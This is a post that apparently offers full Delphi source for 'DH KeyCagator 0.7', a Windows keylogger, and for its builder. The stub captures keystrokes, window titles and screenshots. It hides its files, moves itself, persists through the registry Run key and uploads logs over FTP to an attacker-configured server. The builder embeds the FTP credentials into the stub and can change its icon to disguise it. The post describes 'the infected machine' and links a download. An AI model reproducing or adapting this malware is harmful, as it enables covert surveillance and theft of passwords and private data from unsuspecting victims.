A simple Keylogger with the following options:
The keylogger has the following functions:
- Capture the keys as uppercase lowercase as well as numbers and other key
- Capture the name of the current window
- Screen Capture
- Logs sorted in an HTML file
- You can choose the directory in which the logs are stored
- Logs are sent by FTP
- Traces are hidden
- Is loaded every time you start Windows
- You can use Shift + F9 to load the logs on the infected machine
- I also made a generator keylogger that also allows you to view logs that are in the FTP server used for keylogger
A picture :
Sources :
Builder.
// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle
unit genkey;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdExplicitTLSClientServerBase, IdFTP, ShellApi;
type
TForm1 = class(TForm)
sSkinManager1: TsSkinManager;
Image1: TImage;
sStatusBar1: TsStatusBar;
sGroupBox8: TsGroupBox;
sButton1: TsButton;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sTabSheet3: TsTabSheet;
sGroupBox1: TsGroupBox;
sGroupBox2: TsGroupBox;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
sEdit2: TsEdit;
sComboBox1: TsComboBox;
sGroupBox3: TsGroupBox;
sEdit1: TsEdit;
sGroupBox4: TsGroupBox;
sLabel1: TsLabel;
sCheckBox1: TsCheckBox;
sEdit3: TsEdit;
sGroupBox7: TsGroupBox;
sLabel2: TsLabel;
sCheckBox2: TsCheckBox;
sEdit4: TsEdit;
sGroupBox5: TsGroupBox;
sLabel3: TsLabel;
sLabel4: TsLabel;
sLabel5: TsLabel;
sLabel6: TsLabel;
sEdit5: TsEdit;
sEdit6: TsEdit;
sEdit7: TsEdit;
sEdit8: TsEdit;
sTabSheet4: TsTabSheet;
sTabSheet5: TsTabSheet;
sGroupBox6: TsGroupBox;
Image2: TImage;
sLabel7: TsLabel;
sGroupBox9: TsGroupBox;
sGroupBox10: TsGroupBox;
sLabel8: TsLabel;
sLabel9: TsLabel;
sLabel10: TsLabel;
sLabel11: TsLabel;
sEdit9: TsEdit;
sEdit10: TsEdit;
sEdit11: TsEdit;
sEdit12: TsEdit;
sButton2: TsButton;
IdFTP1: TIdFTP;
OpenDialog1: TOpenDialog;
procedure sButton1Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
procedure TForm1.FormCreate(Sender: TObject);
begin
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'tv-b';
sSkinManager1.Active := True;
end;
procedure TForm1.sButton1Click(Sender: TObject);
var
lineafinal: string;
savein_especial: string;
savein: string;
foldername: string;
capture_op: string;
capture_seconds: integer;
ftp_op: string;
ftp_seconds: integer;
ftp_host_txt: string;
ftp_user_txt: string;
ftp_pass_txt: string;
ftp_path_txt: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
op: string;
change: DWORD;
valor: string;
begin
if (sRadioButton1.Checked = True) then
begin
savein_especial := '0';
if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := sComboBox1.Items[sComboBox1.ItemIndex];
end;
end;
if (sRadioButton2.Checked = True) then
begin
savein_especial := '1';
savein := sEdit2.Text;
end;
foldername := sEdit1.Text;
if (sCheckBox1.Checked = True) then
begin
capture_op := '1';
end
else
begin
capture_op := '0';
end;
capture_seconds := StrToInt(sEdit3.Text) * 1000;
if (sCheckBox2.Checked = True) then
begin
ftp_op := '1';
end
else
begin
ftp_op := '0';
end;
ftp_seconds := StrToInt(sEdit4.Text) * 1000;
ftp_host_txt := sEdit5.Text;
ftp_user_txt := sEdit7.Text;
ftp_pass_txt := sEdit8.Text;
ftp_path_txt := sEdit6.Text;
lineafinal := '[63686175]' + dhencode
('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
'[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
'[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
+ '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
'[ftp_seconds]' + IntToStr(ftp_seconds)
+ '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
'[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'keycagator_ready.exe';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName)
+ '/' + 'Data/keycagator.exe'), PChar
(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
if (op = 'Yes') then
begin
OpenDialog1.InitialDir := GetCurrentDir;
if OpenDialog1.Execute then
begin
try
begin
valor := IntToStr(128);
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName)
+ '/' + stubgenerado)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(OpenDialog1.FileName)));
EndUpdateResourceW(change, False);
sStatusBar1.Panels[0].Text := '[+] Done ';
sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
sStatusBar1.Update;
end;
end;
end
else
begin
sStatusBar1.Panels[0].Text := '[+] Done ';
sStatusBar1.Update;
end;
end
else
begin
sStatusBar1.Panels[0].Text := '[+] Done ';
sStatusBar1.Update;
end;
end;
procedure TForm1.sButton2Click(Sender: TObject);
var
i: integer;
dir: string;
busqueda: TSearchRec;
begin
IdFTP1.Host := sEdit9.Text;
IdFTP1.Username := sEdit11.Text;
IdFTP1.Password := sEdit12.Text;
dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
try
begin
FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
DeleteFile(dir + '\' + busqueda.Name);
while FindNext(busqueda) = 0 do
begin
DeleteFile(dir + '\' + busqueda.Name);
end;
FindClose(busqueda);
rmdir(dir);
end;
except
//
end;
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
try
begin
IdFTP1.Connect;
IdFTP1.ChangeDir(sEdit10.Text);
IdFTP1.List('*.*', True);
for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
begin
IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
IdFTP1.DirectoryListing.Items[i].FileName, False, False);
end;
ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
IdFTP1.Disconnect;
IdFTP1.Free;
end;
except
//
end;
end;
end.
// The End ?
El stub.
// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
program keycagator;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, WinInet, ShellApi;
var
nombrereal: string;
rutareal: string;
yalisto: string;
registro: HKEY;
dir: string;
time: integer;
dir_hide: string;
time_screen: integer;
time_ftp: integer;
ftp_host: Pchar;
ftp_user: Pchar;
ftp_password: Pchar;
ftp_dir: Pchar;
carpeta: string;
directorio: string;
dir_normal: string;
dir_especial: string;
ftp_online: string;
screen_online: string;
activado: string;
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
try
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
except
//
end;
end;
procedure upload_ftpfile(host, username, password, filetoupload,
conestenombre: Pchar);
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
controldos := InternetConnect(controluno, host,
INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
INTERNET_FLAG_PASSIVE, 0);
ftpPutFile(controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(controldos);
InternetCloseHandle(controluno);
end
except
//
end;
end;
procedure capturar_pantalla(nombre: string);
// Credits :
// Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
// Thanks to www.delphibasics.info and n0v4
var
uno: integer;
dos: integer;
cre: hDC;
cre2: hDC;
im: hBitmap;
archivo: file of byte;
parriba: TBITMAPFILEHEADER;
cantidad: pointer;
data: TBITMAPINFO;
begin
// Start
cre := getDC(getDeskTopWindow);
cre2 := createCompatibleDC(cre);
uno := getDeviceCaps(cre, HORZRES);
dos := getDeviceCaps(cre, VERTRES);
zeromemory(@data, sizeOf(data));
// Config
with data.bmiHeader do
begin
biSize := sizeOf(TBITMAPINFOHEADER);
biWidth := uno;
biheight := dos;
biplanes := 1;
biBitCount := 24;
end;
with parriba do
begin
bfType := ord('B') + (ord('M') shl ;
bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
+ uno * dos * 3;
bfOffBits := sizeOf(TBITMAPINFOHEADER);
end;
//
im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
selectObject(cre2, im);
bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
releaseDC(getDeskTopWindow, cre);
// Make Photo
AssignFile(archivo, nombre);
Rewrite(archivo);
blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
blockWrite(archivo, cantidad^, uno * dos * 3);
end;
procedure capturar_teclas;
var
I: integer;
Result: Longint;
mayus: integer;
shift: integer;
const
n_numeros_izquierda: array [1 .. 10] of string =
('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
const
t_numeros_izquierda: array [1 .. 10] of string =
('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
const
n_numeros_derecha: array [1 .. 10] of string =
('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
const
t_numeros_derecha: array [1 .. 10] of string =
('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
const
n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
'54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
'291', '220', '221', '222', '226');
const
t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', 'ยจ',
'&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
'|');
const
n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
'188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
'226');
const
t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
'<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
' / ', ' \ \ \ ', ']', '[', '~', '\/');
begin
while (1 = 1) do
begin
Sleep(time); // Time
try
begin
// Others
for I := Low(n_raros) to High(n_raros) do
begin
Result := GetAsyncKeyState(StrToInt(n_raros[I]));
If Result = -32767 then
begin
savefile('logs.html', t_raros[I]);
end;
end;
// SHIFT
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
for I := Low(n_shift) to High(n_shift) do
begin
Result := GetAsyncKeyState(StrToInt(n_shift[I]));
If Result = -32767 then
begin
savefile('logs.html', t_shift[I]);
end;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + 0));
End;
end;
end;
// Numbers
for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_derecha[I]);
end;
end;
for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_izquierda[I]);
end;
end;
// MAYUS
if (GetKeyState(20) = 0) then
begin
mayus := 32;
end
else
begin
mayus := 0;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + mayus));
End;
end;
end;
except
//
end;
end;
end;
procedure capturar_ventanas;
var
ventana1: array [0 .. 255] of Char;
nombre1: string;
Nombre2: string; //
begin
while (1 = 1) do
begin
try
begin
Sleep(time); // Time
GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
nombre1 := ventana1;
if not(nombre1 = Nombre2) then
begin
Nombre2 := nombre1;
savefile('logs.html',
'<hr style=color:#00FF00><h2><center>' + Nombre2 +
'</h2></center><br>');
end;
end;
except
//
end;
end;
end;
procedure capturar_pantallas;
var
generado: string;
begin
while (1 = 1) do
begin
Sleep(time_screen);
generado := IntToStr(Random(100)) + '.jpg';
try
begin
capturar_pantalla(generado);
end;
except
//
end;
SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + generado +
'></center><br><br>');
end;
end;
procedure subirftp;
var
busqueda: TSearchRec;
begin
while (1 = 1) do
begin
try
begin
Sleep(time_ftp);
upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
FindFirst(dir + '*.jpg', faAnyFile, busqueda);
upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
while FindNext(busqueda) = 0 do
begin
upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
end;
end;
except
//
end;
end;
end;
procedure control;
var
I: integer;
re: Longint;
begin
while (1 = 1) do
begin
try
begin
Sleep(time);
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
re := GetAsyncKeyState(120);
If re = -32767 then
Begin
ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
SW_SHOWNORMAL);
End;
end;
end;
except
//
end;
End;
end;
//
begin
try
// Config
try
begin
// Edit
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
nil, OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
directorio := regex(todo, '[save]', '[save]');
carpeta := regex(todo, '[folder]', '[folder]');
screen_online := regex(todo, '[capture_op]', '[capture_op]');
time_screen := StrToInt(regex(todo, '[capture_seconds]',
'[capture_seconds]'));
ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
dir_normal := dir_especial;
time := 100; // Not Edit
if (dir_normal = '1') then
begin
dir_hide := directorio;
end
else
begin
dir_hide := GetEnvironmentVariable(directorio) + '/';
end;
dir := dir_hide + carpeta + '/';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
nombrereal := ExtractFileName(paramstr(0));
rutareal := dir;
yalisto := dir + nombrereal;
MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
savefile(dir + '/logs.html', '');
SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html',
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
RegCloseKey(registro);
end;
except
//
end;
// End
// Start the party
BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
if (screen_online = '1') then
begin
BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
end;
if (ftp_online = '1') then
begin
BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
end;
BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
// Readln;
while (1 = 1) do
Sleep(time);
except
//
end;
end.
// The End ?
Available for download
here.